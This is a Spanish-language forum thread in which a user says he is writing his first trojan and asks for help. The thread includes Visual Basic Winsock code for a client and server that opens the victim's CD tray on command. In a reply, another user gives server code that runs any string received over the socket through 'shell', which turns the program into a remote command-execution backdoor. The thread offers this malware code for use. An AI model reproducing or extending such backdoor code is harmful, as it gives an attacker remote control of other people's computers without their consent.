ejecutar archivos remotos

[wACtOr]

wenas, estoy intentando acer un troyano (el primero que ago) y a la vez intento aprender sobre el winsock. para mi el mejor manual es la practica con un poco de teoria.

weno pos os comecto. la manera que ago yo para enviar comandos es la siguiente:

en el cliente:

Private Sub cmdAbrir_click()
ws.sendata "abrircd"
End Sub

en el server:

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
On Error GoTo error
Dim datos As String
ws.GetData datos
If datos = "abrircd" Then ret = mciSendString("set CDAudio door open", returnstring, 127, 0)
End Sub

Esta es la manera que uso yo para enviar comandos, se que no es la mejor, pero DE MOMENTO a mi me sirve asi.

aora la pregunta es como enviar al servidor el contenido de un textbox y que el servidor ejecute el programa que ay en ese textbox.

en el cliente supongo que seria algo asi:

ws.sendata Text2.text

pero en el servidor no se como acer para que me muestre el contenido del textbox. con eso yo ya sabria apañarme. si podeis ponerme algun enlace o algo que me explique un poco como acer eso os lo agradecere un monton.

gracias

[Xerok1!]

en el server te kedaria asi:::

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
On Error GoTo error
Dim datos As String
ws.GetData datos
If datos = "abrircd" Then ret = mciSendString("set CDAudio door open", returnstring, 127, 0)
else'si los datos no son "abrircd"
shell datos'ejecuta los dats q le das
end if

End Sub

y en el cliente asi:

ws.senddata text2.text'manda lo q pongas en el textbox

espero q haya sido claro.. saludos

[wACtOr]

ok gracias, voy a probar a ver si de esa manera funciona.


gracias